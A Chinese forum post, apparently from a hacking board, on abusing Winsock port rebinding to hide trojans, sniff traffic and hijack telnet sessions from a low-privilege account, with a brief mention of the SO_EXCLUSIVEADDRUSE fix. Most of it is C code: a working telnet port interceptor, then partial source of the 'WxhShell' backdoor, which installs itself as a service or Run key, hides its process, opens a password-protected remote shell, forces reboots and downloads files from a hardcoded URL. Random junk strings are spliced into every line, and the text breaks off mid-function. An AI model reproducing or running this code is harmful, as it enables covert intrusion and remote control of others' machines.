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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: el*C8TWlw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =M'y& iz-  
47xJ(yO  
  saddr.sin_family = AF_INET; q*oUd/F8  
AopC xaJ`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V11Zl{uOl  
>*v^E9Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !'No5  
D^Bd>Ey4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f_r1(o 5:Y  
BOLG#}sm  
  这意味着什么?意味着可以进行如下的攻击: hmOhXE[ a&  
tdn[]|=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >`a)gky%~  
3r?Bnf:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `}KK@(Y  
/s>ZT8vaAs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ee]PFW28  
2yhtJ9/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \Clz#k8l1  
+!6C^G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  '._8  
t+k"$zR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l|`%FB^k  
hSc$Sa8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n`T 4aDm  
]BU,*YaB  
  #include m& DDz+g  
  #include :<w3.(Z  
  #include .}6 YKKqS  
  #include    !JjB,1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |,j6cFNw  
  int main() nJny9g  
  { P8e1J0A  
  WORD wVersionRequested; :cop0;X:Wm  
  DWORD ret; F8?&Ql/hdz  
  WSADATA wsaData; @c{=:kg5  
  BOOL val; lNQt  
  SOCKADDR_IN saddr; N\Bygjw|  
  SOCKADDR_IN scaddr; iLn)Z0<\o  
  int err; ?'p`Qv  
  SOCKET s; 0 ]U ;5  
  SOCKET sc; |]~tX zY  
  int caddsize; S5E mLgnRs  
  HANDLE mt; n 8Jx;j  
  DWORD tid;   kssS,Ogf\_  
  wVersionRequested = MAKEWORD( 2, 2 ); }%[TJ@R;  
  err = WSAStartup( wVersionRequested, &wsaData ); ts3%cRN r  
  if ( err != 0 ) { +/7UM x1  
  printf("error!WSAStartup failed!\n"); `f}c 1  
  return -1; EkM?Rs  
  } Er Ji  
  saddr.sin_family = AF_INET; v I@Wuu:  
   ~Rk%M$E9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H^p ?t=Y  
ox] LlRK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4QdY"s( n  
  saddr.sin_port = htons(23); Z:09 ]r1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5[esW  
  { ,2DKphh  
  printf("error!socket failed!\n"); 7NRq5d(lP  
  return -1; |]HU$Gt S  
  } =;0#F&  
  val = TRUE; |Rw0$he  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M ZZ4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AYd7qx:~  
  { S& 8gZ~B  
  printf("error!setsockopt failed!\n"); ]]Ypi=<'  
  return -1; 2BBGJE  
  } iDlIx8PI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]nhLv!Co  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nZhL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {7[^L1  
%+i g7a:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hAHl+q)w?  
  { x"K<@mR5G  
  ret=GetLastError(); J2Ocf&y;  
  printf("error!bind failed!\n"); w#U3h]>,  
  return -1; OljUK,I]  
  } kdman nM  
  listen(s,2); vUR{!`14  
  while(1) '0GCaL*Sd  
  { QK<sibDI  
  caddsize = sizeof(scaddr); kB_GL>fc  
  //接受连接请求 &Hb6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \/la`D  
  if(sc!=INVALID_SOCKET) SfyZ,0  
  { )\l}i%L:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oh-Y  
  if(mt==NULL) GN?^7kI  
  { {3lsDU4  
  printf("Thread Creat Failed!\n"); z 3fS+x:E{  
  break; {*ATY+  
  } Ovv~ymj  
  } $IA(QC_]AO  
  CloseHandle(mt); ]Vo;ZY_\  
  } '}e_8 FS  
  closesocket(s); [0El z@.C  
  WSACleanup(); W~aVwO'(  
  return 0; 'U.)f@L#w  
  }   v{$X2z_$w  
  DWORD WINAPI ClientThread(LPVOID lpParam) CO%7^}xSE,  
  { f)l:^/WP+  
  SOCKET ss = (SOCKET)lpParam; 4Pe%*WTX  
  SOCKET sc; Xa=oryDt  
  unsigned char buf[4096]; )."_i64  
  SOCKADDR_IN saddr; V$VqYy9 *  
  long num; #wK {G)J  
  DWORD val; f <fa +fB  
  DWORD ret; ('xIFi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~m8".Z"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +w[vYKSZm  
  saddr.sin_family = AF_INET; u n\!K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :f G5?])  
  saddr.sin_port = htons(23); ,7KP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,Md8A`7x~  
  { ]W~\%`#8?  
  printf("error!socket failed!\n"); d00#;R  
  return -1; =e](eA;  
  } 'i;1n  
  val = 100; ukpbx;O:hc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r/}q=J.  
  { Q@?8-  
  ret = GetLastError(); $nF|n+m  
  return -1; `ltc)$  
  } -0r 0M )  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \(2w/~  
  {  a?S5 =  
  ret = GetLastError(); G d~ v _  
  return -1; S "'0l S   
  } n75)%-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TwlX'iI_;  
  { |0ATH`{  
  printf("error!socket connect failed!\n"); +Ac.@!X}%  
  closesocket(sc); w\,N}'G  
  closesocket(ss); .7&V@A7  
  return -1; m:B9~ lbT+  
  } <|Srbs+  
  while(1) 3}aKok"k  
  { ]8q#@%v }  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x1H1[0w,i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lh%z2 5t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k%uR!cL  
  num = recv(ss,buf,4096,0); E|{(O  
  if(num>0) ~MWI-oK  
  send(sc,buf,num,0); j5m KJC  
  else if(num==0) 9d&@;&al  
  break; \]C_ul'  
  num = recv(sc,buf,4096,0); p0*qv"lA  
  if(num>0) B@cC'F#G  
  send(ss,buf,num,0); z]_2lx2e  
  else if(num==0) ICck 0S!  
  break; /2^"c+/'p  
  } :I_p4S.)  
  closesocket(ss); wcH,!;3z+  
  closesocket(sc); .3 >"qv  
  return 0 ; m)AF9#aT2  
  } M~%P1@%  
L4O.=*P1  
8\WV.+  
========================================================== <O Y (y#x  
) >;7"v  
下边附上一个代码,,WXhSHELL ^'9.VVyz  
Zd5Jz+f  
========================================================== ~c,CngeL0  
9|D*}OY>  
#include "stdafx.h" >$$z6A[  
r>: ~!o*  
#include <stdio.h> [)+wke9  
#include <string.h> )ifjK6*  
#include <windows.h> J':X$>E|  
#include <winsock2.h> Qy ghNImp  
#include <winsvc.h> R + ~b@  
#include <urlmon.h> *+OS;R1<  
pfBe24q  
#pragma comment (lib, "Ws2_32.lib") [Dhqyjq  
#pragma comment (lib, "urlmon.lib") zu3Fi = |0  
}!Y=SP1e  
#define MAX_USER   100 // 最大客户端连接数 Gv[s86AP,  
#define BUF_SOCK   200 // sock buffer GO?hB4 9T  
#define KEY_BUFF   255 // 输入 buffer kmUL^vF  
cX!C/`ew>  
#define REBOOT     0   // 重启 "1YwV~M5  
#define SHUTDOWN   1   // 关机 _tUh*"e&  
5U-SIG*  
#define DEF_PORT   5000 // 监听端口 =t^jlb  
#M%K82"  
#define REG_LEN     16   // 注册表键长度 ,,SV@y;  
#define SVC_LEN     80   // NT服务名长度 KomMzG:  
qnCjNN  
// 从dll定义API b)@D@K"5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @9eN\b%I^H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sn S$5o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MyZVx|7 E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UX+vU@Co[  
Jz}`-fU`  
// wxhshell配置信息 iC3C~?,7  
struct WSCFG { /GVjesN  
  int ws_port;         // 监听端口 e|?eY)_  
  char ws_passstr[REG_LEN]; // 口令 "fr{:'HX  
  int ws_autoins;       // 安装标记, 1=yes 0=no eT Fep^[  
  char ws_regname[REG_LEN]; // 注册表键名 )X;051Q  
  char ws_svcname[REG_LEN]; // 服务名 oYdE s&qq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lb)rloca  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2"HTD|yy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r<'DS9m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no | p!($  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `m#-J;la  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %&_^I*  
]J[d8S5  
}; obE8iG@H  
jQxhR  
// default Wxhshell configuration _P=+\ [|y  
struct WSCFG wscfg={DEF_PORT, cF 4,dnI  
    "xuhuanlingzhe", PW|=IPS  
    1, ~Th,<w*o  
    "Wxhshell", gROK4'j6y  
    "Wxhshell", 1 _Oc1RM   
            "WxhShell Service", N2k<W?wQ  
    "Wrsky Windows CmdShell Service", O!%T<2i3  
    "Please Input Your Password: ", S.4+tf 7+  
  1, 3<Zp+rD  
  "http://www.wrsky.com/wxhshell.exe", SkMFJ?J/  
  "Wxhshell.exe" T\n6^@.>  
    }; 8q%y(e  
/q+;!EM  
// 消息定义模块 8 eK8-R$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bcarx<P-p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &oMWs]0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q&N#q53  
char *msg_ws_ext="\n\rExit."; 9sT5l"?g  
char *msg_ws_end="\n\rQuit."; /zt M'  
char *msg_ws_boot="\n\rReboot..."; hO&b\#@~  
char *msg_ws_poff="\n\rShutdown..."; A$r$g\5+  
char *msg_ws_down="\n\rSave to "; PBnH#zm  
Jn^b}bk t  
char *msg_ws_err="\n\rErr!"; C<AW)|r_  
char *msg_ws_ok="\n\rOK!"; =V]0G,,\  
^t5My[R  
char ExeFile[MAX_PATH]; ,bXZ<RY$  
int nUser = 0; ^e_LnJ+  
HANDLE handles[MAX_USER]; w^ut,`yW R  
int OsIsNt; Q8%_q"C  
<BED&j!qvP  
SERVICE_STATUS       serviceStatus; xsB0LUt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z.Yq)\it  
]vlBYAW'  
// 函数声明 E{&MmrlL,  
int Install(void); -1,0hmn=+  
int Uninstall(void); nq]6S$3 6  
int DownloadFile(char *sURL, SOCKET wsh); /O}<e TR  
int Boot(int flag); (_zlCHB  
void HideProc(void); 0mujf  
int GetOsVer(void); ,< x/  
int Wxhshell(SOCKET wsl); YND}P9 h  
void TalkWithClient(void *cs); \jtA8o%n  
int CmdShell(SOCKET sock); \"oZ\_  
int StartFromService(void); <'~m1l#2  
int StartWxhshell(LPSTR lpCmdLine); ZrTB%  
Ctz#9[|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RkYn6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &\N>N7/1  
n?.;*:  
// 数据结构和表定义 w!7ApEH1  
SERVICE_TABLE_ENTRY DispatchTable[] = z~pp7  
{ h6 {vbYj  
{wscfg.ws_svcname, NTServiceMain}, ?b,>+v-w::  
{NULL, NULL} }yEV&& @  
}; I_<XL<  
e~SK*vR%]  
// 自我安装 n"Ie>  
int Install(void) '\I(n|\  
{ </{Zb.  
  char svExeFile[MAX_PATH]; K:a8}w>Up  
  HKEY key; Cy]=Y  
  strcpy(svExeFile,ExeFile); #[#evlr=  
tp] 5[U  
// 如果是win9x系统,修改注册表设为自启动 TlS? S+  
if(!OsIsNt) { TVD~Ix  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?8-!hU@QC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {h?pvH_>  
  RegCloseKey(key); 0 N,<v7PX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *8Z2zmZtR^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @.e X8~3=  
  RegCloseKey(key); il5C9ql$  
  return 0; KdR4<qVV}  
    } 8%7%[WC#  
  } EL?(D  
} );gY8UL^  
else { fwFJe(.  
6{y7e L3!  
// 如果是NT以上系统,安装为系统服务 -F~DOG%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fjRVYOG#  
if (schSCManager!=0) ?G,4N<]Nu  
{ _uQ]I^'D  
  SC_HANDLE schService = CreateService +`HMl;0m  
  ( :jiuu@<  
  schSCManager, $D^\[^S  
  wscfg.ws_svcname, |p6d]#z3  
  wscfg.ws_svcdisp, @t9HRL?T~  
  SERVICE_ALL_ACCESS, GJ,&$@8)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PM\Ju]  
  SERVICE_AUTO_START, {@InOo!4w]  
  SERVICE_ERROR_NORMAL, E]@&<TFq  
  svExeFile, cE]z Tu?!  
  NULL, QtW9!p7(  
  NULL, $Ll9ak}  
  NULL, GE/!$3  
  NULL, ${ {4L ?7  
  NULL u"v7shRp:  
  ); O?e9wI=H  
  if (schService!=0) tIuM9D{P  
  {  Unk/uk  
  CloseServiceHandle(schService); 'c35%? ]  
  CloseServiceHandle(schSCManager); g*V.u]U!i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WX&IQ@  
  strcat(svExeFile,wscfg.ws_svcname); u H[WlZ4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tdm7MPM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 4_}"fU  
  RegCloseKey(key); is<:}z  
  return 0; ,h*gd^i  
    } /q9I^ztV  
  } yYCS-rF>  
  CloseServiceHandle(schSCManager); \dk1a  
} "DW~E\Y  
} )CFJ Xc:  
%SmOP sz  
return 1; [3Q0KCZ0(  
} KdEvu?  
v vErzUxN  
// 自我卸载 fbq$:Q44  
int Uninstall(void) Sy8t2lk  
{ Yk Ku4f  
  HKEY key; N^;lp<{6?  
'.|}  
if(!OsIsNt) { x"2p5T7*>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J}V4.R5d  
  RegDeleteValue(key,wscfg.ws_regname); DG TLlBkT  
  RegCloseKey(key); mY 1l2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fQoAdw  
  RegDeleteValue(key,wscfg.ws_regname); )PN8HJAArh  
  RegCloseKey(key); L=<xTbY  
  return 0; 3qWrSziD  
  } JU8}TX  
} y_WC"  
} #}~tTL  
else { ioi/`iQR  
$xu2ZBK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x^y$pr  
if (schSCManager!=0) !@z9n\Yj  
{ >{^_]phlb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k=)U  
  if (schService!=0) k5RzW4zq;  
  { ]5'*^rz ^  
  if(DeleteService(schService)!=0) { O@$>'Z  
  CloseServiceHandle(schService); xU\!UVQ/  
  CloseServiceHandle(schSCManager); LW=qX%o{  
  return 0; TXB!Y!RG#  
  } Trirb'qO  
  CloseServiceHandle(schService); ev&l=(hY  
  } ckX8eg!f  
  CloseServiceHandle(schSCManager); I(6%'s2  
} ~D5 -G?%$"  
} /IirTmFK  
m0G"Aj  
return 1; oypLE=H  
} 4f j}d.?  
q~qz^E\T  
// 从指定url下载文件 q;SD+%tI  
int DownloadFile(char *sURL, SOCKET wsh) &tOo[U?  
{ T#&1q]P1F  
  HRESULT hr; !KV!Tkx h  
char seps[]= "/"; Nr@,In|JS  
char *token; ( %sf wv  
char *file; #7fOH U8v  
char myURL[MAX_PATH]; Qz`evvH  
char myFILE[MAX_PATH]; XzAXcxC6G  
[CHN3&l-5S  
strcpy(myURL,sURL); HtN: v  
  token=strtok(myURL,seps); 8h ol4'B  
  while(token!=NULL) <_/etw86Z  
  { e\z,^  
    file=token; 0Cc3NNdz  
  token=strtok(NULL,seps); %YxKWZ/?  
  } `@ Z$+  
hbXmIst  
GetCurrentDirectory(MAX_PATH,myFILE); D*L@I@ [  
strcat(myFILE, "\\"); -/8V2dv3  
strcat(myFILE, file); ZV Ko$q:F  
  send(wsh,myFILE,strlen(myFILE),0); T c-fO /0  
send(wsh,"...",3,0); # wn>S<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E2hML  
  if(hr==S_OK) tli*3YIw  
return 0; .==c~>N  
else L{sFR^-G  
return 1; 8hV4l'Pa72  
oKRI2ni$j9  
} >>=zkPy  
o<|u4r={s  
// 系统电源模块 :4:U\k;QwA  
int Boot(int flag) :CM2kh"Iu  
{ a;i} <n7  
  HANDLE hToken; s]vsD77&  
  TOKEN_PRIVILEGES tkp; B_!S\?}$  
; {m;CKHI  
  if(OsIsNt) { 1\TkI=N3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Dd8c \J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rp ]H&5.*  
    tkp.PrivilegeCount = 1; /0L]Pf;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 98}l`J=i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #,j m3M qj  
if(flag==REBOOT) { j1JdG<n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $9@Z\0   
  return 0; NR^Z#BU  
} d.snD)X  
else { X?8bb! g%Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GyE5jh2  
  return 0; 'pAq;2AA  
} <SRSJJR|(  
  } [c>YKN2qa  
  else { C-2#-{<  
if(flag==REBOOT) { \a:-xwUu<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]xJ2;{JWsO  
  return 0; l) Cg?9  
} G!GGT?J  
else { X)Rh&ui  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K`R  
  return 0; V=GP_^F  
} \p izVt  
} $+ \JT/eG9  
%Y].i/".;P  
return 1; 4!+IsT  
} a '<B0'  
S#D6mg$Z,  
// win9x进程隐藏模块 kEdAt5/U{  
void HideProc(void) M-f; ,>  
{ cZ/VMQEr  
r^"pLzAx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tjy@sO/Q  
  if ( hKernel != NULL ) 5 .b U2C  
  { ADZU?7)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7OZjLD{ID  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9<!Ie^o?  
    FreeLibrary(hKernel); X pf:I  
  } SnW>`  
x_KJCU  
return; G Y ]bw  
} &14Er,K  
uHO>FM,  
// 获取操作系统版本 U{.yX7  
int GetOsVer(void) t'Pn*  
{ +,Z Q( ZW  
  OSVERSIONINFO winfo; !.5,RIf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7%^ /Jm  
  GetVersionEx(&winfo); 6M_,4> -  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 64-;| k4F  
  return 1; sq'bo8r  
  else _QOZ`st  
  return 0; KdtQJ:_`k  
} .q (1  
=ET|h}I  
// 客户端句柄模块 3At%TA:  
int Wxhshell(SOCKET wsl) b$1W>  
{ 3N5b3F  
  SOCKET wsh; TW}nO|qw  
  struct sockaddr_in client; 4brKAqg.  
  DWORD myID; <2{-ey]  
%Y//}  
  while(nUser<MAX_USER) \$[S=&E  
{ =L&}&pT  
  int nSize=sizeof(client); _"0Bg3Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j]' 7"b5  
  if(wsh==INVALID_SOCKET) return 1; j UCrj'  
RW04>oxVn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a$ FO5%o  
if(handles[nUser]==0) {]6Pd`-  
  closesocket(wsh); S 7 *LV;  
else I7q}<"`  
  nUser++; 8%D 2G i  
  } iSg^np  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wXnluE  
WvJidz?5  
  return 0; %d#h<e|,.  
} E2~&GkU.UN  
.8EaFEd  
// 关闭 socket iy\ 6e k1  
void CloseIt(SOCKET wsh) _)? 59  
{ %RS8zN  
closesocket(wsh); TcM;6h`  
nUser--; I c 2R\}q  
ExitThread(0); J-wF2*0r<  
} )D"E]  
sw^4h`^'  
// 客户端请求句柄 YZyV   
void TalkWithClient(void *cs) I@/+=  
{ 78fFAN`  
>q7/zl  
  SOCKET wsh=(SOCKET)cs; 3"HW{=  
  char pwd[SVC_LEN]; E +!A0!1  
  char cmd[KEY_BUFF]; 2j <Y>Y  
char chr[1]; Uop`)  
int i,j; nqMXE82  
6z keWR  
  while (nUser < MAX_USER) { -L&%,%  
U8gf_R'  
if(wscfg.ws_passstr) { ev"f@y9Do  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o!-kwtw`l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 O2??N7f  
  //ZeroMemory(pwd,KEY_BUFF); 'NYW`,  
      i=0; Yfd0Np~  
  while(i<SVC_LEN) { ]]^eIjg>a6  
-b`O"Ck*  
  // 设置超时 =)mA.j}E2  
  fd_set FdRead; lzDA0MPI:  
  struct timeval TimeOut; wX Kg^%t\  
  FD_ZERO(&FdRead); ZD;1{  
  FD_SET(wsh,&FdRead); sRkPXzK  
  TimeOut.tv_sec=8; NwbX]pDT  
  TimeOut.tv_usec=0; !/RL.`!>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T1[B*RwC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Cg[!6[#  
Rw!wfh_+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;:A/WU.^  
  pwd=chr[0]; 9T;DFUM  
  if(chr[0]==0xd || chr[0]==0xa) { o<8SiVC2  
  pwd=0; IJ E{JH  
  break; {&,MkWgG  
  } '}BYMEd/m%  
  i++; }LTyXo  
    } 3K{G=WE$  
]7DS>%m Y(  
  // 如果是非法用户,关闭 socket *1`q x+1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cl1>S3  
} bTepTWv  
q'1 86L87  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n>k1 D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g?OC-zw  
YE;Tpji  
while(1) { h"ZR`?h  
uG,*m'x']  
  ZeroMemory(cmd,KEY_BUFF); caD)'FSES  
 SodYb  
      // 自动支持客户端 telnet标准   9gQ ]!Oq  
  j=0; VbfTdRD-  
  while(j<KEY_BUFF) { wzf%~ats  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \9N )71n(  
  cmd[j]=chr[0]; 2`P=ekF]  
  if(chr[0]==0xa || chr[0]==0xd) { 8d1r#sILI  
  cmd[j]=0; zr@H Yl  
  break; /Xf_b.ZM&  
  } J>N^FR9  
  j++; pKNrEq  
    } :J;&Z{  
p,K!'\  
  // 下载文件 4RL0@)0F  
  if(strstr(cmd,"http://")) { |*v w(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iTc q=  
  if(DownloadFile(cmd,wsh)) w{89@ XRC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MHPh!  
  else ')zf8>,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcfX(~/m^  
  } 6Ij'z9nJw  
  else { ^E]y >Y  
d*R('0z{  
    switch(cmd[0]) { ^?R8>97_?  
  Gc,6;!+(  
  // 帮助 ~%?LFR'  
  case '?': { `EWQ>m+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  LOi/+;>  
    break; D* QZR;D#.  
  } QE4TvnhK  
  // 安装 ^,{ r[}  
  case 'i': { ICD; a  
    if(Install()) ?!a8'jfs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }NY! z^  
    else t{Wu5<F:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EYSBC",  
    break; r^T+ I3  
    } s_ %LU:WC  
  // 卸载 bx:j`5Uj`  
  case 'r': { 0JU+v:J[=  
    if(Uninstall()) W *~[KdgC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,.[B7irR  
    else |Ng}ZLBM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5@\"L  
    break; b^R_8x  
    } =^mBj?(V7  
  // 显示 wxhshell 所在路径 x:iLBYf  
  case 'p': { {y`n _  
    char svExeFile[MAX_PATH]; [! Zyp`:  
    strcpy(svExeFile,"\n\r"); ZZrv l4h  
      strcat(svExeFile,ExeFile); D]?yGI_  
        send(wsh,svExeFile,strlen(svExeFile),0); l#&\,T  
    break; 8A: =#P^O\  
    } &Ivf!Bgm{Z  
  // 重启 #'8'5b  
  case 'b': { +wGFJLHJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); go?}M]c%7  
    if(Boot(REBOOT)) 6kHuKxY,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =y0h\<[  
    else { yVt8QF!  
    closesocket(wsh); PYyT#AcW2  
    ExitThread(0); gB])@O%/  
    } n'8 3P%x  
    break; *T2kxN,Ik  
    } ^_t7{z%sA[  
  // 关机 hVW1l&s  
  case 'd': { G]T&{3g-.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m[<z/D  
    if(Boot(SHUTDOWN)) +6s6QeNS8  
